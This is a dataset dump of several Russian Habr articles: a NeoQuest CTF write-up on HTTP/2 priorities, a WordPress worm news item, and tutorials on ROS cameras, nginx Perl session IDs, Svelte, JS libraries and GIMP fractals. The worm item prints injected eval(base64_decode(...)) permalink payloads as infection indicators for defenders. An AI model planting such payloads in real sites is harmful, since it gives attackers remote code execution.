text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# [NeoQuest2017] 6 планета или «Слишком много всего…»
Есть мнение, что после драки кулаками не машут. Но первый в моей жизни ctf [NeoQuest2017](http://neoquest.ru/about.php) показал, что бумажная ИБ от практической отличается достаточно сильно и с ходу флаги взять не получится. Хотя, как оказалось, подобрался я к флагу в плотную.
Итак:
> **«СЛИШКОМ МНОГО ВСЕГО…»**
>
> Эта планета напоминает тропики… Невероятное количество разнообразной флоры и фауны! Наши рюкзаки все заполнялись и заполнялись образцами, а журналы наблюдений – описаниями, а ведь мы только начали исследование планеты! Оглядевшись вокруг, мы поняли, что гораздо эффективнее будет заносить все сведения удаленно сразу в бортовой [журнал](https://213.170.100.212/). Вот только передача данных очень медленная, поэтому нужно грамотно расставить приоритеты.
Пробуем зайти посмотреть журнал по ссылке и получаем:
```
This page is under construction
```
Еще раз перечитываем текст задания и замечаем подсказку:
> Вот только передача данных очень медленная, поэтому нужно грамотно расставить приоритеты.
Первую половину дня я убил, думая, что разговор идет про поля HTTP запроса: Accept-Charset, Accept-Encoding, Accept-Language, Accept и т.д. Оказалось нет.
Дальнейшие поиски показали, что сервер поддерживает HTTP/2. А одно из разрекламированных его нововведений это именно приоритизация запросов.
Ищем что нибудь, с помощью чего можно менять приоритет и находим nghttp.
**Пробуем**root@kali:~# nghttp -p 3 -v [213.170.100.212](https://213.170.100.212/)
[ 0.055] Connected
The negotiated protocol: h2
[ 0.166] send SETTINGS frame
(niv=2)
[SETTINGS\_MAX\_CONCURRENT\_STREAMS(0x03):100]
[SETTINGS\_INITIAL\_WINDOW\_SIZE(0x04):65535]
[ 0.167] send PRIORITY frame
(dep\_stream\_id=0, **weight=201**, exclusive=0)
[ 0.167] send PRIORITY frame
(dep\_stream\_id=0, **weight=101**, exclusive=0)
[ 0.168] send PRIORITY frame
(dep\_stream\_id=0, **weight=1**, exclusive=0)
[ 0.168] send PRIORITY frame
(dep\_stream\_id=7, **weight=1**, exclusive=0)
[ 0.169] send PRIORITY frame
(dep\_stream\_id=3, **weight=1**, exclusive=0)
[ 0.169] send HEADERS frame
; END\_STREAM | END\_HEADERS | PRIORITY
(padlen=0, dep\_stream\_id=11, **weight=3**, exclusive=0)
; Open new stream
:method: GET
:path: /
:scheme: https
:authority: 213.170.100.212
accept: \*/\*
accept-encoding: gzip, deflate
user-agent: nghttp2/1.18.1
[ 0.232] recv SETTINGS frame
(niv=3)
[SETTINGS\_MAX\_CONCURRENT\_STREAMS(0x03):100]
[SETTINGS\_INITIAL\_WINDOW\_SIZE(0x04):65536]
[SETTINGS\_MAX\_FRAME\_SIZE(0x05):16384]
[ 0.233] recv WINDOW\_UPDATE frame
(window\_size\_increment=196605)
[ 0.233] recv SETTINGS frame
; ACK
(niv=0)
[ 0.233] recv (stream\_id=13) :status: 200
[ 0.234] recv (stream\_id=13) etag: «21-58a4a130-a2bf2»
[ 0.234] recv (stream\_id=13) last-modified: Wed, 15 Feb 2017 18:42:56 GMT
[ 0.234] recv (stream\_id=13) content-type: text/html
[ 0.234] recv (stream\_id=13) content-length: 33
[ 0.234] recv (stream\_id=13) accept-ranges: bytes
[ 0.235] recv (stream\_id=13) date: Mon, 20 Mar 2017 12:01:24 GMT
[ 0.235] recv (stream\_id=13) server: NQ-webserver
[ 0.235] recv HEADERS frame
; END\_HEADERS
(padlen=0)
; First response header
**This page is under construction**
[ 0.236] recv DATA frame
[ 0.236] recv DATA frame
; END\_STREAM
[ 0.236] send GOAWAY frame
(last\_stream\_id=0, error\_code=NO\_ERROR(0x00), opaque\_data(0)=[])
И на этом мой энтузиазм иссяк. На тот момент флаг этот еще никто взять не смог. Потыкав наугад пару различных значений приоритета, и не попав в нужный, я решил, что опять выбрал ложный путь и перешел к следующему заданию.
Как оказалось всего то надо было сделать перебор по всем возможным значениям:
```
!/bin/bash
until [$i -eq 256]
do
let "i=i+1"
nghttp -p $i https://213.170.100.212/
done
exit 0
```
**Получаем:**root@kali:~# ./123
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
BB
14
7E
F9
2D
66
4D
52
18
14
0A
16
AD
3F
C5
03
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
This page is under construction
Вводим полученный флаг на сайте и видим:
> Ключ принят (время квеста истекло)
Что ж, настойчивости в этот раз мне явно не хватило. Но сам дух ctf меня захватил. Спасибо большое организаторам за великолепный квест. Очень жду продолжения, и надеюсь, что получится выступить более результативно. | https://habr.com/ru/post/324360/ | null | ru | null |
# Эпидемия «умного червя» под WordPress
Месяц назад стало известно о новой [критической уязвимости](http://habrahabr.ru/blogs/wordpress/66829/) в WordPress 2.8.3, позволяющей легко изменить администраторский пароль в удалённом режиме. Сразу же [вышел](http://wordpress.org/development/2009/08/2-8-4-security-release/) WordPress 2.8.4, устраняющий эту уязвимость. Как оказалось, далеко не все блогеры следят за апдейтами.
В этот уикенд разразилась [настоящая эпидемия](http://news.google.com/news/more?um=1&ned=us&cf=all&ncl=d10m51Cg3eks8YMw5GKxO8nEfu3CM) нового вируса, поражающего блоги на движке WordPress 2.8.3 и более ранних версий в ветке 2.8. Червь регистрируется в блоге, запускает вредоносный код через структуру permalink и делает себя вторым админом, потом запускает скрипт для стирания себя со страницы юзеров и начинает втихую добавлять спам и ссылки на вредоносный контент в архивные топики.
Присутствие вредителя довольно сложно обнаружить сразу, тем более если он ещё ничего не опубликовал. Для этого нужно проверить фид permalinks/rss на присутствие нижеследующего кода.
`%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/`
или
`“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%`
или ошибки
`‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’`
Если есть такой код или фид сломан, то блог инфицирован.
Процедура удаления червя представляет собой [нетривиальную задачу](http://codex.wordpress.org/FAQ_My_site_was_hacked).
Кстати, Мэтт Мюлленвег разродился [большой статьёй](http://wordpress.org/development/2009/09/keep-wordpress-secure/) на тему безопасности, в которой призывает юзеров постоянно отслеживать и устанавливать свежие апдейты, вот [инструкция по апгрейду WordPress](http://codex.wordpress.org/Upgrading_WordPress). Это единственный способ обезопасить себя от этой и будущих эпидемий. | https://habr.com/ru/post/68905/ | null | ru | null |
# Как использовать USB-камеру с ROS на Raspberry Pi или BeagleBone Blue — для потокового стрима видео на большой компьютер
Эта инструкция о том как подключить USB-камеру к Raspberry Pi или BeagleBone Blue и использовать ее с ROS (Robot Operating System) — чтобы читать данные с камеры через ROS image\_view и даже транслировать видео поток в веб-браузер!
В конце видео демонстрация на роботе EduMip.
1) В качестве бонуса мы создадим распределенную систему ROS.
2) Приложение Roscore и приложение для просмотра изображений будут работать на ПК (мастер) и узел камеры на Raspberry Pi (ведомый).
3) Чтобы настроить master и slave, нам нужно обновить переменные среды на обоих устройствах.
4) На мастере: найдите IP-адрес устройства. Для ethernet net\_dev может быть как enpXXs0 или ethX:
```
$ ifconfig {net_dev}
ifconfig enp61s0
или просто ifconfig
```
5) Использовать IP-адрес в качестве значения для переменной ROS\_IP:
```
$ export ROS_IP="10.42.0.1"
```
6) И для ROS\_MASTER\_URI:
```
$ export ROS_MASTER_URI="http://10.42.0.1:11311"
```
7) Если вы хотите использовать эти значения для будущих сеансов, вы можете сохранить значения в файле .bashrc в своем домашнем каталоге:
```
$ echo 'export ROS_IP="10.42.0.1"' >> ~/.bashrc
$ echo 'export ROS_MASTER_URI="http://10.42.0.1:11311"' >> ~/.bashrc
```
8) Подключитесь к Raspberry Pi через ssh:
```
$ ssh {user}@{raspberry_ip}
```
9) Для RPi в качестве подчиненного устройства добавьте главный IP-адрес для ROS\_MASTER\_URI
10) И IP-адрес Raspberry Pi для ROS\_IP
```
$ export ROS_IP="10.42.0.65"
$ export ROS_MASTER_URI="http://10.42.0.1:11311"
или
$ echo 'export ROS_IP="10.42.0.65"' >> ~/.bashrc
$ echo 'export ROS_MASTER_URI="http://10.42.0.1:11311"' >> ~/.bashrc
```
11) Теперь пришло время подключить USB-камеру.
12) Проверьте, распознана ли камера системой::
```
$ lsusb
$ ls /dev | grep video*
```
13) Установите узел ROS usb\_cam с необходимыми зависимостями:
```
$ sudo apt install ros-kinetic-usb-cam
```
14) У узла usb\_cam уже есть тестовый файл запуска:
```
$ cat /opt/ros/kinetic/share/usb_cam/launch/usb_cam-test.launch
```
15) Прежде чем запускать этот файл, давайте запустим ядро ROS на master:
```
$ roscore
```
16) И теперь запустите узел usb\_cam на slave:
```
$ roslaunch usb_cam usb_cam-test.launch
```
17) Теперь мы можем видеть созданные темы. Мы можем проверить их либо на master, либо на slave.
18) Перевидите текущий процесс в фоновый режим с помощью CTRL + Z и выполните команду bg, чтобы продолжить выполнение в фоновом режиме. (на варианте Ubuntu не full desktop и без экрана, запустите просто еще один терминал)
19) Чтобы увидеть темы в терминале:
```
$ rostopic list
```
20)… или в графическом интерфейсе:
```
$ rqt_graph
```
21) Чтение данных камеры с помощью image\_view:
```
$ rosrun image_view image_view image:=/usb_cam/image_raw
```
22) Или используя rqt\_image\_view
23) Перенести фоновую задачу на передний план:
```
$ fg
```
24) Последний эксперимент на сегодняшний день — потоковая передача в web
25) Установка узла ROS веб-видео-сервер:
```
$ sudo apt install ros-kinetic-web-video-server
```
26) Чтобы сделать это правильно, создайте рабочую область для catkin для нашего пользовательского файла запуска:
```
$ mkdir -p ~/rosvid_ws/src
$ cd ~/rosvid_ws
$ catkin_make
$ source devel/setup.bash
```
27) Затем создайте пакет ROS:
```
$ cd src
$ catkin_create_pkg vidsrv std_msgs rospy roscpp
```
28) Создайте файл запуска с помощью nano, vim итд.:
```
$ mkdir -p vidsrv/launch
$ nano vidsrv/launch/vidsrv.launch
```
разместите там [код отсюда](https://gist.github.com/WinKILLER/3dea1ab7cf5645c99f1271496cca2e21)
На Beaglebone Blue с usb камерой A4Tech у меня сработал такой код:
```
```
29) Соберите пакет:
```
$ cd ..
$ catkin_make
```
30) Снова запустите ядро ROS на master:
```
$ roscore
```
31) И запустите созданный файл запуска:
```
$ roslaunch vidsrv vidsrv.launch
```
32) Порт веб-видео-сервера по умолчанию — 8080
33) Открыть URL в веб-браузере: {RPi\_IP}:8080
Ссылки на документацию:
→ [Video server node](http://wiki.ros.org/web_video_server)
→ [USB camera node](http://wiki.ros.org/usb_cam)
→ [rqt image viewer](http://wiki.ros.org/rqt_image_view)
→ [Raspberry Pi Camera Module node](https://github.com/UbiquityRobotics/raspicam_node)
USB камеры можно использовать практически любые, у которых есть драйвера для linux, также аналогично можно использовать Raspberry Pi Camera Module ссылка выше.
Пример как это работает на BeagleBone Blue с камерой A4Tech:
Поиск карты тройка на видео с USB камеры BealeBone Blue (алгоритм распознавания работает на ноутбуке с master ROS).
 | https://habr.com/ru/post/414859/ | null | ru | null |
# Генерация уникального идентификатора пользователя средствами Nginx
Приветствую Вас, хабрачитатели!
Расскажу об одной задачке, которая встала передо мной, и как я ее решил.
*Сразу оговорюсь — часовой поиск в G и в Я удовлетворяющего результата не принес, но за следующий час было реализовано собственное решение.
Все это пока не более чем эксперимент — есть белые пятна как в идеи, так и в реализации, на данном этапе нужно понять жить или не жить.*
Суть задачи сводилась к тому, что мне требовалось уникально идентифицировать посетителя в независимости от природы и вероисповедания компонентов системы (Web-проект). Причем сделать это максимально просто, быстро и без большого оверхеда по быстродействию.
Важно заметить, что **авторизация пользователя по логину/паролю или еще как не производится**.
В качестве веб-сервера и первичного балансировщика нагрузки у меня имеется Nginx.
В моей системе для php используетcя php-fpm через fastcgi, так же через fastcgi работает c++ сервер бизнес логики.
Вот примерная схема:
К проблеме глобальной идентификации я пришел после того, как в систему был добавлен с++ сервер, который ловит некоторые запросы на себя.
Так как запрос к плюсовому серверу может быть раньше запроса к php-бэкенду, я так и не смог придумать/найти удобную, быструю, а самое главное красивую реализацию идентификации пользователя по PHPSESSID.
Реализовывать все это я решил средствами Nginx, а точнее его perl'овым модулем.
Это пока что единственный существенный минус решения — данный модуль не вкомпилен по умолчанию, то есть приходится пересобирать nginx:
`$ ./configure --with-http_perl_module`
Теперь задача сводиться к нескольким этапам:
##### Этап 1. Написать перловый модуль, генерирующий и проверяющий наличие идентификатора
1. Поверить на наличие установленнго идентификатора, например, в кукисах.
Идентификатор можно передавать не только в кукисах, в моем случая он именно там.
2а. Проверить на валидность идентификатор
Идентификатор проверяется на валидность, т.е. он проверяется быль ли он генерирован модулем или вкралась ошибка.
Это требуется для дальнейшей работы моих компонентов.
Так же есть некоторые идеи как этот идентификатор использовать для балансировки нагрузки на стороне клиента.
Если идентификатор валиден, завершаем процедуру генерации.
Если нет генерируем новый (п. 2б) — возможно тут следует как-то по другому реагировать, надо подумать.
2б. Сгенировать идентификатор
Тут идет генерация идентификатора с использованием случайно последовательности + некоторые данные от пользователя.
Сейчас идентификатор состоит из 32 байт (hexstr) случайной последовательности и 32 байт (hexstr) дайджеста (см. ниже).
Конечно это можно и будет уменьшено.
```
package session;
use strict;
use Digest::MD5 qw(md5_hex);
my $secret_key = '__TOP_SECRET__KEEP_IT_IN_BANK__'; #секретный ключ, нужен для генерации идентификатора
my $cookie_name = 'SID'; # название куки где храним идентификатор
my $rand_len = 16; # длина случайной последовательности
my $hex_length = $rand_len * 2;
my $hex_mask = "H".$hex_length;
my $digest_length = 32; # длина дайнжеста в hexstr - 32 байта.
# процедура генерации идентификатора
sub hash
{
# data - случайная последовательность, ng - nginx объект.
my ($data,$ng) = @_;
# в генерации участвую юзерагент и ip пользователя
return md5_hex($data."_".$secret_key."_".$ng->header_in("User-Agent")."_".$ng->remote_addr);
}
# отсюда читаем случайные данные. по MANу, вроде, /dev/random можно верить.
# дескриптор будет открыт один раз и держатся все время работы nginx.
# закрывается автоматом при завершении работы.
open(my $rand, '<', "/dev/random");
sub gen
{
# ng - nginx объект
my $ng = shift;
# проверка на наличие идентификатора в куках
# первые 32 байт (hexstr) случайная последовательность
# остальные 32 байта (hexstr) дайджест (см. sub hash)
if ($ng->header_in("Cookie")=~/$cookie_name=(\w{$hex_length})(\w{$digest_length});?/) {
if ($2 eq hash($1, $ng)) {
return "$1$2";
}
}
# читаем случайную строку
read($rand, my $data, $rand_len);
# переводим ее в hexstr
my $h = unpack($hex_mask, $data);
# склеиваем ее с дайджестом (см. sub hash)
my $id = $h.hash($h, $ng);
# устанавливаем куку
$ng->header_out("Set-Cookie","$cookie_name=$id;");
# возвращаем идентификатор nginxу
return $id;
}
1;
__END__
```
##### Этап 2. Подружить компоненты системы с идентификатором
Для того чтобы подключить данный модуль правим nginx.conf
```
http {
...
perl_modules conf/perl; # директория, где хранится наш модуль
perl_require session.pm; # файл модуля
perl_set $sid session::gen; # переменная, в которую будет сохраняться идентификатор
...
server {
..
location ~*\.php$ {
root html/www;
fastcgi_pass http://backend_upstreams;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
include fastcgi_params;
fastcgi_param SID $sid; # передача идентфикатора по FastCGI в бэкенд
}
location ~*\.tst$ {
fastcgi_pass unix:/tmp/cpp_server;
include fastcgi_params;
fastcgi_param SID $sid; # передача идентификатора по FastCGI в бэкенд
}
}
...
}
```
##### Этап 3. Проверка, что мы не завалим все нафиг
Был написан небольшой нагрузочный тест. Я использовал стандратный перловый Benchmark.
```
#!/usr/bin/perl
use strict;
use Benchmark;
use Digest::MD5 qw(md5_hex);
my $secret_key = '__TOP_SECRET__KEEP_IT_IN_BANK__';
my $cookie_name = 'SID';
my $rand_length = 16;
my $hex_mask = "H".($rand_length * 2);
open(my $rand, '<', "/dev/random");
sub hash
{
my ($data) = @_;
my $hash = md5_hex($data."_".$secret_key."_Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7_127.0.0.1");
return $hash;
}
sub gen
{
read($rand, my $data, $rand_length);
my $h = unpack($hex_mask,$data);
my $id = $h.hash($h);
my $ng = "$cookie_name=$id;";
return $ng;
}
my $t0 = new Benchmark;
for (my $i =0; $i < 1000000;++$i) {
gen();
}
my $t1 = new Benchmark;
my $td = timediff($t1, $t0);
print "Total:".timestr($td)."\n";
```
Результат работы на 600Mhz VDSке:
Total: 6 wallclock secs ( 5.75 usr + 0.30 sys = 6.05 CPU)
Т.е. на генерацию одного идентификатора уходит ~6 \* 10-6 сек.
Предположим, самый худший вариант проверка + генерация на запрос = 12 \* 10-6 сек.
Остальное пока я тестировать не стал, но там конечно есть где потюнить.
#### PHP
Доступ из php-бэкенда к идентификатору — $\_SERVER['SID'];
Так же можно установить данный идентификатор как session\_id
```
session_id($_SERVER['SID']);
session_name('SID'); //иначе в куках будут два поля с одинаковыми значениями PHPSESSID, SID
session_start();
?
```
В этом случае, если сессию хранить например в БД или Memcache, то все компоненты системы будут иметь доступ к данным сессии (правда, вижу проблему по поводу локирования записи сессии).
**UPD:**
#### Почему не ngx\_http\_userid\_module
*Спасибо [Demetros](https://habrahabr.ru/users/demetros/) за правильные вопросы.*
Есть две очень существенные причины почему данный модуль не подходит([подробнее](#comment_4514465) ):
1. Нет контроля валидности идентификатора пользователя
2. При первом запросе нет возможности передать uid в backend | https://habr.com/ru/post/135777/ | null | ru | null |
# Разработка игры Breakout на Svelte
На MDN есть туториал ["2D игра на чистом JavaScript"](https://developer.mozilla.org/ru/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript), в котором изучаются основы использования элемента HTML5 .
В этом туториале мы повторим разработку этой игры на Svelte.
###### 1. [Создание Canvas и рисование на нем](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it)
[Pure JavaScript](https://jsfiddle.net/end3r/x62h15e2/?utm_source=website&utm_medium=embed&utm_campaign=x62h15e2) — [Svelte](https://svelte.dev/repl/9c037d46aa8747999ca120a92413d132?version=3.5.4)
В этом примере мы отображаем три геометрические фигуры: квадрат, прямоугольник и круг.
Переменная canvas будет определена после монтирования компонента в DOM, поэтому весь код размещаем в обработчике [жизненного цикла onMount](https://ru.svelte.dev/tutorial/onmount). Выполнена привязка элемента canvas к переменной canvas с помощью [привязки this](https://ru.svelte.dev/tutorial/bind-this).
```
import { onMount } from 'svelte';
let canvas;
onMount(() => {
const ctx = canvas.getContext('2d');
ctx.beginPath();
ctx.rect(20, 40, 50, 50);
ctx.fillStyle = "#FF0000";
ctx.fill();
ctx.closePath();
ctx.beginPath();
ctx.arc(240, 160, 20, 0, Math.PI\*2, false);
ctx.fillStyle = "green";
ctx.fill();
ctx.closePath();
ctx.beginPath();
ctx.rect(160, 10, 100, 40);
ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
ctx.stroke();
ctx.closePath();
});
canvas { background: #eee; }
```
Далее мы просто переносим весь код без изменений в функцию onMount(). Комментарии даны только относительно использования Svelte.
###### 2. [Перемещение мяча](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball)
[Pure JavaScript](https://jsfiddle.net/end3r/3x5foxb1/?utm_source=website&utm_medium=embed&utm_campaign=3x5foxb1) — [Svelte](https://svelte.dev/repl/58aaf72b4e9845109d2da06de0c521f2?version=3.5.4)
###### 3. [Отскок от стены](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls)
[Pure JavaScript](https://jsfiddle.net/end3r/redj37dc/?utm_source=website&utm_medium=embed&utm_campaign=redj37dc) — [Svelte](https://svelte.dev/repl/0a23b01810b14f059fc218dd1d45cd16?version=3.5.4)
###### 4. [Управление ракеткой клавишами](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls)
[Pure JavaScript](https://jsfiddle.net/raymondjplante/t2udo69j/?utm_source=website&utm_medium=embed&utm_campaign=t2udo69j) — [Svelte](https://svelte.dev/repl/4ff8fce1055340ebbefff3d1393f3902?version=3.5.4)
Использован [специальный элемент](https://ru.svelte.dev/tutorial/svelte-window) для прослушивания событий от клавиатуры. Обработчики событий от клавиатуры и используемые в них переменные добавлены вне функции onMount().
###### 5. [Конец игры](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over)
[Pure JavaScript](https://jsfiddle.net/raymondjplante/L61c9y50/?utm_source=website&utm_medium=embed&utm_campaign=L61c9y50) — [Svelte](https://svelte.dev/repl/db860dc7a68545f5a5df53c9080fec13?version=3.5.4)
###### 6. [Построение кирпичей](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field)
[Pure JavaScript](https://jsfiddle.net/raymondjplante/Lu3vtejz/?utm_source=website&utm_medium=embed&utm_campaign=Lu3vtejz) — [Svelte](https://svelte.dev/repl/d91bc1a038f04399a5895a22cb204f0f?version=3.5.4)
###### 7. [Определение столкновений](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection)
[Pure JavaScript](https://jsfiddle.net/yumetodo/kaed3hbu/?utm_source=website&utm_medium=embed&utm_campaign=kaed3hbu) — [Svelte](https://svelte.dev/repl/2ead60f35a9144bbbb8662069d33685f?version=3.5.4)
###### 8. [Счет и выигрыш](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win)
[Pure JavaScript](https://jsfiddle.net/raymondjplante/b3z2Lpu9/?utm_source=website&utm_medium=embed&utm_campaign=b3z2Lpu9) — [Svelte](https://svelte.dev/repl/87073e0f655f483782aed510c463086e?version=3.5.4)
###### 9. [Контроль мышью](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls)
[Pure JavaScript](https://jsfiddle.net/raymondjplante/vt7y5hcp/?utm_source=website&utm_medium=embed&utm_campaign=vt7y5hcp) — [Svelte](https://svelte.dev/repl/4c531cc0346243189762df6edf2ea536?version=3.5.4)
Добавлен обработчик событий от мыши также за пределами функции onMount.
###### 10. [Заключение](https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up)
[Pure JavaScript](https://jsfiddle.net/raymondjplante/dfh2tpu1/?utm_source=website&utm_medium=embed&utm_campaign=dfh2tpu1) — [Svelte](https://svelte.dev/repl/237155e994e643cc91f510024b312b1d?version=3.5.4)
Как мы видим, практически весь код перенесен в приложение на Svelte без изменений. Игры обычно не пишут на чистом JS, а используют готовые HTML5 фреймворки. Например, эта же игра выполненная на фреймворке [Phaser](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_breakout_game_Phaser). Можно посмотреть эксперименты с WebGl на Svelte <https://github.com/sveltejs/gl> и идеи по svelte-gl <https://github.com/Rich-Harris/svelte-gl>.
###### Репозиторий на GitHub
<https://github.com/nomhoi/svelte-breakout-game>
Установка игры на локальном компьютере:
```
git clone git@github.com:nomhoi/svelte-breakout-game.git
cd svelte-breakout-game
npm install
npm run dev
```
Запускаем игру в браузере по адресу: <http://localhost:5000/>. | https://habr.com/ru/post/458142/ | null | ru | null |
# [Подборка] Melchior.js, ng-admin, Hello.js, ineed
#### **Melchior.js**
[Melchior.js](http://labs.voronianski.com/melchior.js/) (GitHub: [voronianski/melchior.js](https://github.com/voronianski/melchior.js), Лицензия: *MIT*, npm: [melchiorjs](https://www.npmjs.org/package/melchiorjs)) от Dmitri Voronianski представляет собой реализацию [цепочного определения модулей(CMD)](https://github.com/tjwudi/wd.js/wiki/module-loader), концепцию, введенную John Wu.
> Идея, кроющаяся за цепочными определениями модулей разрешает некоторые неприятные моменты AMD, такие как объемные объявления зависимостей, а так же обеспечивает простоту и читабельность с использованием визуально-дружелюбного и ясного синтаксиса.
>
>
>
> Так же как *CommonJS* больше подходит для вне-браузерной среды, цепочные определения модулей с их требованиями, идеально вписываются во внутри-браузерные сценарии использования.
>
>
Вот пример использования данного программного интерфейса (API):
```
// create module
melchiorjs.module('yourModule')
// define dependencies
.require('dependencyUno')
.require('dependencyDuo', 'duo')
// define module body
.body(function () {
// `dependencyUno` is available here!
dependencyUno.doSomething();
// aliased `dependencyDuo` is available as `duo`!
duo.doSomething();
// return methods for other modules
return {
method: function () {
//...
},
anotherMethod: function () {
//...
}
};
});
```
Пояснительный(readme) файл содержит больше примеров среди которых имеется один для *AngularJS*. Данный программный интерфейс(API) выглядит более идиоматическим по сравнению с большинством модульных загрузчиков. Будет интересно посмотреть если данный продукт станет популярным.
#### **ng-admin**
François Zaninotto выложил информацию о [ng-admin](http://marmelab.com/blog/2014/09/15/easy-backend-for-your-restful-api.html) (GitHub: [marmelab/ng-admin](https://github.com/marmelab/ng-admin), Лицензия: *MIT*), это крутой проект который добавляет интерфейс администрирования к вашим RESTful CRUD — программным интерфейсам взаимодействия(APIs).
Вы сможете найти [демонстрацию проекта на Amazon](http://ec2-54-194-84-85.eu-west-1.compute.amazonaws.com/#/dashboard) и документацию, которая показывает как настроить *ng-admin* для использования с сущностями вашего приложения. Данное решение способно справится с преобразованием(mapping) полей и со связями между сущностями. Связи могут быть 1-N, N-1, и N-M(many to many).
По мнению François, ng-admin полезен потому-что если вы создаете многочисленные проекты с различными бэкэндами (MongoDB, MySQL, Node, Python) вы все еще можете добавить «платформенно-агностический» интерфейс администрирования.
Этот-же автор реализовал [gremlins.js](https://github.com/marmelab/gremlins.js).
#### **Hello.js**
Andrew Dodson выложил информацию о [hello.js](http://adodson.com/hello.js/#hellojs) (GitHub: [MrSwitch/hello.js](https://github.com/MrSwitch/hello.js), Лицензия: *MIT*, npm: [hellojs](https://www.npmjs.org/package/hellojs)), Клиентский комплект средств разработки(SDK) для аутентификации с [OAuth2](http://tools.ietf.org/pdf/draft-ietf-oauth-v2-12.pdf) (и OAuth1 через [прокси oauth](http://adodson.com/hello.js/#oauth-proxy)) веб-сервисами и выполнения запросов к их REST API. Данная библиотека представляет из себя, унифицированный интерфейс взаимодействия, нормализующий пути и ответы для сервисов *Google Data*, *Facebook Graph* и *Windows Live Connect*.
Одно из преимуществ *hello.js* заключается в его модульности. [Здесь](http://adodson.com/hello.js/modules.html#hellojs-already-has-you-connected) вы сможете найти модули для *Dropbox*, *LinkedIn*, *SoundCloud*, и *Yahoo*.
Программный интерфейс(API) модуля позволит вам определять такие вещи как функции jsonp, так что это должно быть достаточно гибко для того что-бы покрыть большинство современных сервисов.
Речь о [HelloJS](https://news.ycombinator.com/item?id=8300112) уже заходила на *Hacker News*, с обсуждением аспектов безопасности, и [одобрениями](https://news.ycombinator.com/item?id=8300751) от пользователей:
> HelloJS хорош. Я использовал его в моем последнем проекте. Он всего-навсего работает. Он хорошо протестирован и документирован. Настройка не выглядит запутанной. Это просто сработало как по маслу, когда я пытался настроить учетные записи *OAuth* для *Twitter*, *Google*, *LinkedIn* и *Facebook* .
>
>
#### **ineed**
Ivan Nikulin [написал о parse5](https://github.com/inikulin/parse5#class-simpleapiparser), говоря что он имеет новый HTML-парсер в SAX-стиле на котором соответственно и зиждется проект [ineed](https://github.com/inikulin/ineed):
> ineed позволяет вам собирать полезные данные с веб страниц, используя простой и приятный программный интерфейс. Давайте соберем изображения, ссылки, скрипты и стили со страницы [www.google.com](http://www.google.com):
>
>
```
var ineed = require('ineed');
ineed.collect.images.hyperlinks.scripts.stylesheets.from('http://www.google.com',
function (err, response, result) {
console.log(result);
});
```
Внутренне *ineed* использует потоки HTML символов(токенов), так что он не тратит время на построение и обход дерева DOM. Это выглядит идеальным решением для обработки множества различных, неудобных, выборочных задач.
#### **Пометки**
Здесь представлен перевод двух статей Alex Young. Во [первая](http://dailyjs.com/2014/09/15/melchiorjs-ng-admin) статья, и вот [вторая](http://dailyjs.com/2014/09/18/hellojs). Спасибо за внимание. | https://habr.com/ru/post/237933/ | null | ru | null |
# Рисуем фракталы Мандельброта с помощью языка GIMP Script-Fu
[](https://habr.com/ru/company/skillfactory/blog/542884/)
Программа GNU Image Manipulation Program ([GIMP](https://www.gimp.org/)) – моё решение проблемы редактирования изображений. Набор инструментов у этого редактора очень мощный и удобный, за исключением инструментов, чтобы генерировать фракталы, которые нелегко нарисовать вручную. Фракталы – увлекательные математические конструкции, обладающие свойством [самоподобия](https://en.wikipedia.org/wiki/Self-similarity). Другими словами, если их увеличить в любой области, они будут удивительно похожи на картину до увеличения. Помимо того, что они интересны, они также делают очень красивые картинки!
---
Сложные математические образы с помощью языка GIMP Script-Fu
------------------------------------------------------------
*Часть фрактала Мандельброта в палитре GIMP Coldfire*
GIMP можно автоматизировать с помощью [Script-Fu](https://docs.gimp.org/en/gimp-concepts-script-fu.html), чтобы выполнять [пакетную обработку изображений](https://opensource.com/article/21/1/gimp-scripting) или создавать сложные процедуры, которые нецелесообразно выполнять вручную; рисование фракталов попадает в последнюю категорию. Из этого туториала вы узнаете, как при помощи GIMP и Script-Fu нарисовать представление [фрактала Мандельброта](https://en.wikipedia.org/wiki/Mandelbrot_set).
*Часть фрактала Мандельброта с помощью палитры Firecode GIMP.*
*Повёрнутый и увеличенный фрагмент множества Мандельброта в палитре Firecode.*
В этом туториале мы напишем сценарий, который создаёт слой в изображении и рисует представление множество Мандельброта в окружении разных цветов.
Что такое множество Мандельброта?
---------------------------------
